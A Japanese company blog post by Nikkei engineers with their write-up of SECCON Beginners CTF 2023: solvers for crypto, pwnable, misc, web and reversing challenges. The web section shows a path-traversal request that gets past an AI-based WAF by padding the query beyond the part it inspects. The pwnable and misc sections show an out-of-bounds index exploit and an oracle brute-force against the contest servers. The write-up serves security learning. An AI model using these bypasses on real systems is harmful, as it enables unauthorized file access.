NIKKEI TECHNOLOGY AND CAREER

SECCON Beginners CTF 2023 Writeup

Header

こんにちは。セキュリティエンジニアの藤田です。SECCON Beginners CTF 2023というセキュリティ系のコンテスト(CTF, Capture The Flag) が開催されました。この CTF に日経のエンジニア 4 名(淵脇、衣笠、西馬、藤田)でチームを組んで参加して最終的に33位/778チームという成績を収めましたので、Writeup を書いてみたいと思います。

ちなみに昨年の Writeup 記事は、こちらで公開されています。

0. CTFとは? Writeupとは?

CTF とは Web や実行ファイル、暗号など色々な題材にセキュリティホールが予め仕込まれており、そのセキュリティホールを見事突破すると ctf4b{[\x20-\x7e]+} という文字列 (Flag) が手に入るというまさにCapture the Flag という競技です。

また、 CTF は参加するだけでなくその後の情報発信も重要な文化の一つです。セキュリティ業界全体のレベルアップを推進するために、自分たちが通した問題の解き方をブログ等で公開するものが Writeup です。 というわけで本番中に通した以下の問題の writeup を公開いたします。

目次

1. crypto

以下では全て平文を MM, 暗号文を CC としておきます。crypto では大体のケースで CC 及び暗号化のアルゴリズムが与えられるのでそこから MM を求めると FLAG になっています。

1-1. CoughingFox2

FLAG の隣り合う2つの文字と文字の位置から暗号を生成しています。 FLAG の頭文字は c なので、そこを起点として、総当たりで隣の文字を特定していけばよいです。

cipher = set([4396, 22819, 47998, 47995, 40007, 9235, 21625, 25006, 4397, 51534, 46680, 44129, 38055, 18513, 24368, 38451, 46240, 20758, 37257, 40830, 25293, 38845, 22503, 44535, 22210, 39632, 38046, 43687, 48413, 47525, 23718, 51567, 23115, 42461, 26272, 28933, 23726, 48845, 21924, 46225, 20488, 27579, 21636])

def cough(x, y, i):
    return (x + y) **2 + i
flag = b"c"
length = len(cipher)
for i in range(length):
    y = 0
    while True:
        if cough(flag[i], y, i) in cipher:
            flag += y.to_bytes(1, 'big')
            break
        y += 1
print(flag)

FLAG: ctf4b{hi_b3g1nner!g00d_1uck_4nd_h4ve_fun!!!}

1-2. Conquer

左ローテーションと xor の繰り返しを行っているので、愚直に逆関数を書いて元に戻してあげましょう。ソルバは次の通りです。

from Crypto.Util.number import *

key = 364765105385226228888267246885507128079813677318333502635464281930855331056070734926401965510936356014326979260977790597194503012948
cipher = 92499232109251162138344223189844914420326826743556872876639400853892198641955596900058352490329330224967987380962193017044830636379
length = cipher.bit_length()+3

def ROR(bits, N):
    for _ in range(N):
        bits = (bits >> 1) | ((bits & 1) << (length - 1))
    return bits

for i in range(32):
    cipher ^= key
    key = ROR(key, pow(cipher, 3, length))
cipher ^= key

print(long_to_bytes(cipher))

FLAG: ctf4b{SemiCIRCLErCanalsHaveBeenConqueredByTheCIRCLE!!!}

1-3. Choice

フェルマーの小定理から φ=(p1)(q1)(r1)=ns+(p+q+r)1φ = (p-1)(q-1)(r-1) = n - s + (p + q + r) - 1 を法とする整数環上での ee の逆元が秘密鍵です。このうち nnss はわかっていますので、$p + q + r$ の値を調べる必要があります。サーバーにアクセスして xx を入力したときの出力を f(x)f(x) などとおくと、p+q+r=(f(n)s+f(n+2))/f(n)p + q + r = (f(n) * s + f(n + 2)) / f(n) となるので、ここから p+q+rp + q + r がわかります。ソルバは次の通りです。

from Crypto.Util.number import long_to_bytes

f0 = 12621390420324262531869608828557586476022834478112552751822975764919202318076513627110406554918029244625052377429307791616409656122843180289137398792772931429161888188544846261165918020879854362736768953067005100352871994307090632169865139959973579923191540564208812200206778377850806665890334445802543222593858464162758442433406454067579614861121707864673620480955458428134808927284941904932099683356395527304506984522738968780381677264929090671052035411220327775542096547550915620085901120242763593926954833274106882911791430787748249884079134450523350193444306573020580044275905169459601036505380353989947276569643857250807430015931656390624861917643110850645305089255588712951852610458247377218934039184998035286427367451016880381160944006894458894462492566561672307223482614036997774423967024984627935015388943899739086497594184643454592903569481482953758181966092452430787197343190338909162615487248818020274036804926993275670804255032810986454886149604264867760503788028848870763353231031082058850945332407756893304837954291755237967272247497342117063017982606930063357499633008522901911081596738556951067706869835694098270231491996093611740577363193857166658971026180845976335356742380950969387782399281951821958189197768308927182042569572210079301628811142107582572721535978924059592405596357394608442296099423331563854088739509620043305878164077398962736354484976643806949833383697479930594749818736869360823081252341047971067006143231381215152717936041488885966056340123232444915441438131604541797615351827495167605200068836468393086624200322956817789756115793073121022896979071164230313181921837157304505760341530940677569228858371938271120232861189045646715422707103546757186581851091690455826680747933523894035954665354610183199522643958702779234621809060619693396781312442444500301005573825322513547724897370564776037340111149860962357
f1 = 8475230529762897080111836076065747835257331542739985256572593922918200517221925341491692578345872947057152835146648546272533297116330954781383955759743167094986491303960134870957838587029650967353736628031353712447169998904631571155528107845746576692776861676607246188695963735075620030628069982529292983078892465308734363502130860392552082717212358972460723068856174699425148900852531128999613198509327693826281888634380982628898036282207317399545198805127148966285851039068443585665016093780012936211627166330253232074986726278826817793736583461332661429329888250431152302702120038593540159830899895380388149038762984802170759457266725911575535379328645548425049955481387918832396895743394162957623868295463513091118209733525713167695831535419398602373477572523878382630639812511199334270968641549114462199989206634180283315715699252356298941129490444760118374059042458971186594491611496476884675932861735800156132316171310776974107040460677984291949438352324165007948102877401302588208644370409882638354961737945163828244384468190031155982101025035298397498687914960133516448589373547780369924928156672783603093182392196740380878421891750449462132369627033029018320264200720263811775330145972090737994832602716179829141591972172344383445489143735356107799734805689910575889807149274681388183634448649466525513522351953281863113085271960152504266086449374610004135173540206524824359594426302590428508550262712574394016537941242003833697158307779294101334245444902568957285382692235546007510443922427548905721149886816081551410019446651961727506098871641536588459538909815865481311340214319885194889073734479712245897105783138627714629780417219971985351962940001687112372661134659104319646740886095489431533116971527474165954215608445962872060101006714465369499476798345884395131489536123107658011581670348471427313132001113451673985818587004304609
f2 = 10543425029998132962181500239493477861434578008345153350076833599680238184134128502365629893017040533525777456862353943669497449965084013148167504381540855246240916973944529792826775815219705558931360087355735197764498370877908813276650067243560783170100985032612066805786953951208642312755193876191561681736022170157502785810011066568062259816140273925882721530770934660349547754468301482859330295537400797044228214431306185273230114164504117809623842785562905293483747226759634631046858910537736277692829302358325694636755495593467765357277994806806954900548425500983636169370397165815620807979938938436946191224814114625956294640356878027243641122075872592164275606307281570243093818251295379378426901642313076870540070792970205048387020545394398980694295743299016565837262055580203045998183944535034630718565935072832468965371994049537621095149404747388004718635460955835870138335805009138523211692986251994345499218161809507840485173571934933629260253315541403121466257691295916643281963927610148975027283054797279105512202801655858859508459492105349733390939524018010999268733889268671921118513901587904832702198450370539909070313024854940912125557826279196717929032054776798565825576056585792610159269169391389321365630285828349232513094326846736397706499620861417381690014318845799995647881167399603222175399914960948931556288257936225509799362791821095120383864607774422289019511811524098135411756721865164940159897796828119973521339313211641524307992390265301932872552871536422229261592414235729117424432211618129194657690061438493413463616775559354809573530679422684761923320597829693720614054427406676323665515988773387518144500557685713365051219609284360039980520489127571885668983615066083949961109942541483497374543413485758053303489011738166913583093421042667529143940374683492397875497703924259048139817563467332521743750980925106284

n = 18594550144547301333494330440727776321888361219176721067949296945328255249954628307014771206354387992788849094369885364310718228616250534865474996610051308966556663513723774648204138691124155758903715670449495386324341982424372348006314484048087221986823132438653329070617438308229162206886018749114388232554770882124576797234528168647721468061130240000009961736239289406130443086805586878797823927326251348506576180968621212384821330459417776031528751245144779238339037181035019403383704825809754775457158685619237158318168078973375749838072557762835300894929117815659839771328470141036945068417476122304376457803421537844804263578952666410904251530063550310671358146130161038676245076225153104653328579612568130178527397102201450325377763663195186232431356635649083119956424152442105158042604930244205655650846058478007779641925441638181268347095773707292578033077539161414302600982934164451130259061692713617965808525775706316991584688941677794868509981835117478617441665410620748661142428791580699137883153900909645948151807614712106654970231563776077145134141743451153674521494759420742831287853816783005018002982334781293226295634494939193866208956755695275599019914093070515911865097181250631279419933015363070006317691956094799311246182093778097496044243467400529695870747862884609047516877188834217674267413565462195834950315899190217647731281742246014695811019365437664168577053650189544051756367280332782926906642571915503305100402747283029037973541060616787881611915489676815297815488300693048486195522622840700659546607863989212042671317168336110056993734546348545229039485955806005503511573079093279143714008546998039690324458538616639264673123707871575906337313756795608368817932155368265068857021593264223477917381523546491114471418028659951483819379243259563026852723985354642576294216010525128965283026914124732795606749900735076833
e = 65537
c = 10342344907508164765757749919736793352421298410257707305337740282726570614361245233079594385172204228032038008591858829473590298640501612048679712881374460561447979225128106405099192546793981982904899317923409634997879975551981774052544506672989053390029245957379799097945980399159472017099743251162202689417924297496568358594561467023936207423370478335087967546820774935321601454985234148742581683153878329113809706037195132918847881648102665634946452769752004738678048613117527355401794136229705473310192028404361793214991751048535468030619280111134646927837387112430640912403183494723762710533123467822560454338674871509088078617215104155538321276306593153365689313507111715593208178750474531554078490621196839045999551808039533099200652245563619075253478968019566598334595510426814578251026928765863898664774174937080085258312573331457953954032167115597294784688185718000498198837840388823869869039770901112808401481842477934082132389734049421864722446630519821963832522757259715527389788819253085960619598701608415614363559776562905252352608574063449143712540440762622807964305913114301955104121946995740939383395500652249689345874020609138786867786314805547809787147762332634373065475892940322875352016448887691612736784481963472093559208443302511301148129686988612648036587744123151478358079878342235074480902690963990591450559650164661940324949539482132123667109842243030386135018643698795724632719766772255136235129735804849262376248978066582798887621824292957037633913779910202133655441441749570894499609343385415177847125861379981445766435166827219863591917023963573145138447219164203029541433395486348895940466848629638668409529745367441778934635514256250606203623457958839091652623581718481597181728520014497453438570461342930454656943186232641965098703860007216291599015775321140513837342980975049323871697499863284637432909825862229383
s = 2120634407522122525612964053723418142035008003255455641592096603456441760283345528336036431616648322472299059244408007538824000258439838164923407796210909174392749039689427657509527024321339368766677838230545546152048159591282948054638843277903718675625417096955477229483557817363652777867299775888794629564948319225630717435163745607264899467164669119381163336081234217611079146087415453718433920809714724927290349782340431924401594517556836279285779579582540079396131786945740751425128174277504540352669303736847346259677401249241222962966084053096514192634047880439503138321146600760173621421765552658327328684465349942072734704198471541667702290485272759550855086436727812318199946306573660114360541345535141316329963524548671128433222439611653145584650375144692530823811014234892066102319037508553519874861693312123282704274237023375383998670981458631283698478829787764623014405274064787856756691607537071194586111473847051717089009845180552903955935294535346554523933181032790185310551237189202850698277680542460128073462138788009846800208251823875295010557977414826644268230493594558427653290107215989409804313567576233643717506604654708332004251361738146594932146752494896835692533733480315459560645163269962949101443720683719

Zn = Zmod(n)
f0 = Zn(f0)
f1 = Zn(f1)
f2 = Zn(f2)

x = (f0 * s + f2) / f1
k = n - s + int(x) - 1
d = pow(e, -1, k)

m = pow(c, d, n)

long_to_bytes(m)

FLAG: ctf4b{E4sy_s7mmetr1c_polyn0mial}

1-4. switchable_cat

内部状態の遷移が呼んだ回数の偶数・奇数で異なるタイプの LFSR です。奇数回目・偶数回目の next の呼び出しの遷移を Sagemath にて行列で表すと次のようになります。

m1 = matrix(Zmod(2), n, lambda i, j: 1 if i + 1 == j else 0)
for b in b1:
    m1[n-1, b] = 1

m2 = matrix(Zmod(2), n, lambda i, j: 1 if i + 1 == j else 0)
for b in b2:
    m2[n-1, b] = 1

この時、LSFR の内部状態は neko によって非常に多い回数遷移するため愚直に計算することはできませんが、繰り返し二乗法によって計算量を落とすことが可能です。Sagemath なら自動的に行ってくれます。ソルバは下記です。

from Crypto.Util.number import *
from random import getrandbits
from os import urandom

b1 = [0, 2, 4, 6, 9]
b2 = [1, 5, 7, 8]
n = 128

m1 = matrix(Zmod(2), n, lambda i, j: 1 if i + 1 == j else 0)
for b in b1:
    m1[n-1, b] = 1

m2 = matrix(Zmod(2), n, lambda i, j: 1 if i + 1 == j else 0)
for b in b2:
    m2[n-1, b] = 1

def long_to_vec(v):
    ret = vector(Zmod(2), n)
    for i in range(n):
        ret[i] = v % 2
        v >>= 1
    return ret

def vec_to_long(v):
    ret = 0
    for i in range(n):
        ret += int(v[i]) << i
    return ret

assert(vec_to_long(long_to_vec(10)) == 10)

m = m2 * m1

seed = 219857298424504813337494024829602082766
cipher = 38366804914662571886103192955255674055487701488717997084670307464411166461113108822142059

x = ord("🐈")*ord("🐈")*ord("🐈")*8
d = 3

ret = []
for y in range(x-d, x+d):
    v = long_to_vec(seed)
    v = m^(y // 2) * v
    if y % 2 == 1:
        v = m1 * v
    ret.append(vec_to_long(v))

print(f"key candidates:{ret}")

class LFSR:
    def __init__(self):
        self.bits = 128
        self.rr = seed
        self.switch = 0
    def next(self):
        r = self.rr
        if self.switch == 0:
            b = ((r >> 0) & 1) ^^ \
                ((r >> 2) & 1) ^^ \
                ((r >> 4) & 1) ^^ \
                ((r >> 6) & 1) ^^ \
                ((r >> 9) & 1)
        if self.switch == 1:
            b = ((r >> 1) & 1) ^^ \
                ((r >> 5) & 1) ^^ \
                ((r >> 7) & 1) ^^ \
                ((r >> 8) & 1)
        r = (r >> 1) + (b << (self.bits - 1))
        self.rr = r
        self.switch = 1 - self.switch
        return r & 1
    
    def gen_randbits(self, bits):
        key = 0
        for i in range(bits):
            key <<= 1
            key += self.next()
        return key

lfsr = LFSR()
    
for k in range(2):
    for s in ret:
        lfsr.rr = s
        lfsr.switch = k
        key = lfsr.gen_randbits(len(bin(cipher)))
        try:
            print(long_to_bytes(cipher ^^ key).decode("utf-8"))
        except:
            continue

FLAG: ctf4b{DidTheCatWantToCatDevRandom???}

1-5. cooking

コードをよく見ると下記で meat の pepper 乗が露出していることがわかります。

print("This is meat:", pow(meat, pepper, p))

pepper の値はコードから 3 であるとわかっているので、自分で入力した素数 pp において、d=31modp1d = 3^{-1} \mod p-1 を計算すると元の meat の値が復元できます。これを「Thank you. By the way, where do you think this meat comes from?」の質問で入力します。g は適当な値を入れて飛ばしましょう。

p = 21815768195828024470150951974345706234934208605889208767218235431237018762464133961459555158761457044393245029543230010017927230442916485119102352941632954289233031244348436237405228131068174586800059188292365671572477267761965583801625379329464305307855264536835498739618212355988039206709205887183857073186488062851608324726866752989848788711408112122403463581275290389689427043602086238646923946782224453155112652057511544865814265461522514050406202883007500761456241548258437740761662896801734323652195500207293471155868747879782241691112966269580044156324304463606310775745514920144255916486856878673422643961423
meat = <出力された値>
g = 26506866240920251044419410174288800204562680193964474318055393662148506637034 # 任意の値

z = 3
meat = Zmod(p)(meat)
d = pow(z, -1, p-1)
print(int(meat^d))

FLAG: ctf4b{tight_binding_will_be_loosed_by_many_relationship}

2. pwnable

2-1. poem

入力値の非負チェックをしていないので、負の値を入力することで poem 配列の外にある flag にアクセスできます。

echo -4 | nc poem.beginners.seccon.games 9000

FLAG: ctf4b{y0u_sh0uld_v3rify_the_int3g3r_v4lu3}

3. misc

このジャンルは特定の分類に属さない様々な問題が出題されます。

3-1. YARO

YARAでフラグ文字列にマッチするルールを作成する問題です。 フラグに使用可能な文字列はctf4b{?[\x20-\x7e]*}とわかっていますので、前方から1文字ずつマッチするプログラムを仕込んで解けました。

import socket
import re

yara = """rule ? {
    strings:
        $flag = /ctf4b{?[\x20-\x7e]*}/
    condition:
        $flag
}

"""
def check(flag):
    host = "yaro.beginners.seccon.games"
    port = 5003 

    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    client.connect((host, port))
    response = client.recv(6)

    client.send(yara.replace("?",flag).encode())
    response = client.recv(4096)

    if "matched" in response.decode():
        m = re.search(r'matched: \[([\x20-\x7e]+)\]', response.decode())
        return m.group(1)
    else:
        return False

flag = ""
cont = True
while cont:
    find = False
    for i in range(0x20, 0x7e):
        result = check(flag + chr(i))
        if result:
            flag = result
            print(result)
            find = True
            break
    if not find:
        cont = False

FLAG: ctf4b{Y3t_An0th3r_R34d_Opp0rtun1ty}

3-2. polyglot4b

file -bkrはGZIP圧縮した場合にファイル名が出力されるので、すべての条件にマッチする名称の空ファイルを作成しgz圧縮して受け渡せばフラグが得られます。

touch JPEGPNGIFASCII.txt
gzip JPEGPNGIFASCII.txt
cat JPEGPNGIFASCII.txt.gz| nc polyglot4b.beginners.seccon.games 31416

FLAG: ctf4b{y0u_h4v3_fully_und3r5700d_7h15_p0ly6l07}

4. web

各 Web 問では問題サーバの URL とソースコードが提供されるため、ソースコードを解析しながらフラグ獲得を目指す流れになります。

4-1. Forbidden

URLは大文字・小文字判定がないのでflagを大文字にしたら通ります。 (バリデーションはケースセンシティブなので小文字だけ弾かれます)

curl https://forbidden.beginners.seccon.games/FLAG

FLAG: ctf4b{403_forbidden_403_forbidden_403}

4-2. aiwaf

クエリパラメータの先頭50文字をAI-WAFに渡しているので、50文字以降でパストラバーサル攻撃をすれば通ります。

curl 'https://aiwaf.beginners.seccon.games?01234567891123456789212345678931234567894123456789&file=../flag'

FLAG: ctf4b{pr0mp7_1nj3c710n_c4n_br34k_41_w4f}

5. reversing

ネットワーク上であるバイナリがサービスされており、ローカルで同じバイナリを解析して脆弱性を見つけて FLAG を取得する問題です。大抵は IDA などのデバッガを用いて解析します。

5-1. Half

バイナリファイルが提供されていました。ダウンロードして、テキストエディターで開いてファイルを上から順に注意深く見ているとフラグらしき文字列を見つけます。そのまま貼り付けても正解とならなかったのですが、注意深くみると半角スペースがあったのでそれを消してトライすると正解となりました。

FLAG: ctf4b{ge4_t0_kn0w_the_bin4ry_fi1e_with_s4ring3}

5-2. Three

Ghidra等で解析するとflag_0から2まで順番に繋げている実装がわかりますので、くっつけます。

flag_0 = "c4c_ub__dt_r_1_4}"
flag_1 = "tb4y_1tu04tesifg "
flag_2 = "f{n0ae0n_e4ept13 "

for i in range(len(flag_0)):
    print(flag_0[i]+flag_1[i]+flag_2[i], end="")

FLAG: ctf4b{c4n_y0u_ab1e_t0_und0_t4e_t4ree_sp1it_f14g3}

5-3. Poker

Ghidra で確認すると FUN_00102262 に 99 回勝利したら勝ちにという判定ロジックがあるのでバイナリ書き換えで 1 回とかにしておく。Ghidra 上で書き換えて Export すると便利。

FLAG: ctf4b{4ll_w3_h4v3_70_d3cide_1s_wh4t_t0_d0_w1th_7he_71m3_7h47_i5_g1v3n_u5}

5-4. Leak

プログラムを IDA Pro で確認すると、鍵 KEY{th1s_1s_n0t_f1ag_y0u_need_t0_f1nd_rea1_f1ag} が目に入る。この鍵で暗号化している内容を送信しているらしいが、元の文章である FLAG はない。一緒に pcap ファイルもあるので Wireshark で確認し、暗号化された FLAG を取り出し丁寧にロジックを書いてあげると通る。ソルバ (Java) は次の通り。


public class Main {
  //  tshark -x -r record.pcap
  private static byte[] keyBytes = "KEY{th1s_1s_n0t_f1ag_y0u_need_t0_f1nd_rea1_f1ag}".getBytes();

  private static int[] encoded = {
      0x8e, 0x57, 0xff, 0x59, 0x45, 0xda, 0x90, 0x06, 0x28, 0xb2,
      0xab, 0xfa, 0x49, 0x73, 0x32, 0x33, 0x4a, 0x73, 0x29, 0x41, 0x3c, 0x34, 0xb7, 0xf6, 0x62, 0x73, 0x25, 0x0f, 0x95,
      0x40, 0x16, 0xfa, 0x47, 0xe9, 0x22, 0x8d, 0xa5, 0xcd, 0x3d, 0x53, 0xee, 0xb4, 0xb3, 0x51, 0x8e, 0xd2, 0x89, 0x93,
      0x5b, 0xe0, 0x59, 0xcb, 0xfb, 0xb1, 0x1b
  };

  public static void main(String[] args) {

    int[] key = new int[keyBytes.length];
    for (int i = 0; i < keyBytes.length; i ++) {
      key[i] = keyBytes[i];
    }

    decrypt(encoded, key);

    int len = encoded.length;
    byte[] message = new byte[len];
    for (int i = 0; i < len; i ++) {
      message[i] = (byte)encoded[i];
    }
    System.out.println(new String(message));
  }

  static void decrypt(int[] encoded, int[] key) {
    int inputLen = encoded.length;
    int keyLen = key.length;
    int[] work = new int[256];

    for (int i = 0; i <= 0xFF; ++i) {
      work[i] = (i + 53) & 0xFF;
    }
    // shuffle
    int s = 0;
    for (int i = 0; i <= 0xFF; i++) {
      s = (s + key[i % keyLen] + work[i]) & 0xFF;
      // swap work[i] and work[s]
      var tmp = work[i];
      work[i] = work[s];
      work[s] = tmp;
    }

    int p = 0;
    int q = 0;
    for (int j = 0; inputLen > j; ++j) {
      p += work[++q];
      p = p & 0xFF;
      {
        // swap work[p] and work[q]
        var tmp = work[q];
        work[q] = work[p];
        work[p] = tmp;
      }
    }

    for (int j = inputLen - 1; j >= 0; j --) {
      encoded[j] ^= work[(work[q] + work[p]) & 0xFF];
      {
        // swap work[p] and work[q]
        var tmp = work[q];
        work[q] = work[p];
        work[p] = tmp;
      }
      p -= work[q--];
      p = p & 0xFF;
    }
  }
}

FLAG: ctf4b{p4y_n0_4ttent10n_t0_t4at_m4n_beh1nd_t4e_cur4a1n}

5-5. Heaven

IDA Pro でコードを追っていくとすぐに encrypt という関数が見つかる。これは一見下記のように見える。

encoded[i] = SBOX[message[i] ^ seed]

しかし、実際に起動すると微妙に違う答えを返してくる。これは calc_xor という関数がミソで、実際は下記のように微妙に単純な xor と異なる演算をしている。

encoded[i] = SBOX[(message[i] - 1) ^ seed]

なので SBOX の逆関数を INV_SBOX とおくと下記のように復号できる。

message[i] = INV_SBOX[(encoded[i] ^ seed) + 1]

ソルバ (Java) は下記。

public class Main {
  static int[] sbox = {
      0xc2, 0x53, 0xbb, 0x80, 0x2e, 0x5f, 0x1e, 0xb5, 0x17, 0x11, 0x00, 0x9e, 0x24, 0xc5, 0xcd, 0xd2, 0x7e, 0x39,
      0xc6, 0x1a, 0x41, 0x52, 0xa9, 0x99, 0x03, 0x69, 0x8b, 0x73, 0x6f, 0xa0, 0xf1, 0xd8, 0xf5, 0x43, 0x7d, 0x0e,
      0x19, 0x94, 0xb9, 0x36, 0x7b, 0x30, 0x25, 0x18, 0x02, 0xa7, 0xdb, 0xb3, 0x90, 0x98, 0x74, 0xaa, 0xa3, 0x20,
      0xea, 0x72, 0xa2, 0x8e, 0x14, 0x5b, 0x23, 0x96, 0x62, 0xa4, 0x46, 0x22, 0x65, 0x7a, 0x08, 0xf6, 0x12, 0xac,
      0x44, 0xe9, 0x28, 0x8d, 0xfe, 0x84, 0xc3, 0xe3, 0xfb, 0x15, 0x91, 0x3a, 0x8f, 0x56, 0xeb, 0x33, 0x6d, 0x0a,
      0x31, 0x27, 0x54, 0xf9, 0x4a, 0xf3, 0xbf, 0x4b, 0xda, 0x68, 0xa1, 0x3c, 0xff, 0x38, 0xa6, 0x3e, 0xb7, 0xc0,
      0x9a, 0x35, 0xca, 0x09, 0xb8, 0x8c, 0xde, 0x1c, 0x0c, 0x32, 0x2a, 0x0f, 0x82, 0xad, 0x64, 0x45, 0x85, 0xd1,
      0xaf, 0xd9, 0xfc, 0xb4, 0x29, 0x01, 0x9b, 0x60, 0x75, 0xce, 0x4f, 0xc8, 0xcc, 0xe2, 0xe4, 0xf7, 0xd4, 0x04,
      0x67, 0x92, 0xe5, 0xc7, 0x34, 0x0d, 0xf0, 0x93, 0x2c, 0xd5, 0xdd, 0x13, 0x95, 0x81, 0x88, 0x47, 0x9d, 0x0b,
      0x1f, 0x5e, 0x5d, 0xa8, 0xe7, 0x05, 0x6a, 0xed, 0x2b, 0x63, 0x2f, 0x4c, 0xcb, 0xe8, 0xc9, 0x5a, 0xdc, 0xc4,
      0xb0, 0xe1, 0x7f, 0x9f, 0x06, 0xe6, 0x57, 0xbe, 0xbd, 0xc1, 0xec, 0x59, 0x26, 0xf4, 0xb1, 0x16, 0x86, 0xd7,
      0x70, 0x37, 0x4d, 0x71, 0x77, 0xdf, 0xba, 0xf8, 0x3b, 0x55, 0x9c, 0x79, 0x07, 0x83, 0x97, 0xd6, 0x6e, 0x61,
      0x1d, 0x1b, 0xa5, 0x40, 0xab, 0xbc, 0x6b, 0x89, 0xae, 0x51, 0x78, 0xb6, 0xb2, 0xfd, 0xfa, 0xd3, 0x87, 0xef,
      0xee, 0xe0, 0x2d, 0x4e, 0x3f, 0x6c, 0x66, 0x5c, 0x7c, 0x10, 0xcf, 0x49, 0x48, 0x21, 0x8a, 0x3d, 0xf2, 0x76,
      0xd0, 0x42, 0x50, 0x58
  };

  static int[] invSbox;

  public static void main(String[] args) {
    int[] invSbox = new int[256];
    for (int i = 0; i < 256; i ++) {
      invSbox[sbox[i]] = i;
    }

    String s = "ca6ae6e83d63c90bed34a8be8a0bfd3ded34f25034ec508ae8ec0b7f";
    int len = s.length() / 2 - 1;
    int[] a = new int[len];
    for (int i = 0; i < len; i ++) {
      String elem = s.substring(i * 2 + 2, i * 2 + 4);
      a[i] = Integer.parseInt(elem, 16);
    }
    int p = Integer.parseInt(s.substring(0, 2), 16);

    int[] b = new int[len];
    for (int i = 0; i < len; i ++) {
      b[i] = invSbox[a[i]];
    }

    byte[] dec = new byte[len];
    for (int i = 0; i < len; i ++) {
      dec[i] = (byte)(((b[i] ^ p) + 1) % 0xFF);
    }
    System.out.println(new String(dec));
  }
}

FLAG: ctf4b{ld_pr3l04d_15_u53ful}

6. welcome

この問題は、競技のコミュニケーションツールとして使われる Discord を見ていればすぐに気がつくという Welcome にふさわしい問題でした。競技開始と同時に Discord の announcements チャネルにフラグの文字列が記載されていたので、これをスコアサーバ側のページに貼り付けてクリアしました。

おわりに

本記事では、社内のエンジニア 4 名による SECCON Beginners CTF 2023 の Writeup をお届けしました。

テクノロジーメディアを目指す日本経済新聞社ではデジタルサービスにおけるセキュリティを重視しており、CTF のような最新のセキュリティ技術に興味のあるエンジニアを随時募集しております。一緒にメディアの未来を作る仕事に興味のある方は、ぜひお気軽にご連絡ください。

https://hack.nikkei.com/jobs

日経のデジタルサービスを支える<セキュリティエンジニア>の募集ページはこちら。

https://herp.careers/v1/nikkei/vylwWfvk8ir-

藤田尚宏
SECURITY ENGINEER藤田尚宏
淵脇誠
ENGINEER淵脇誠
衣笠公陽
ENGINEER衣笠公陽
西馬一郎
ENGINEER西馬一郎

Entry

各種エントリーはこちらから

キャリア採用
Entry
新卒採用
Entry
カジュアル面談
Entry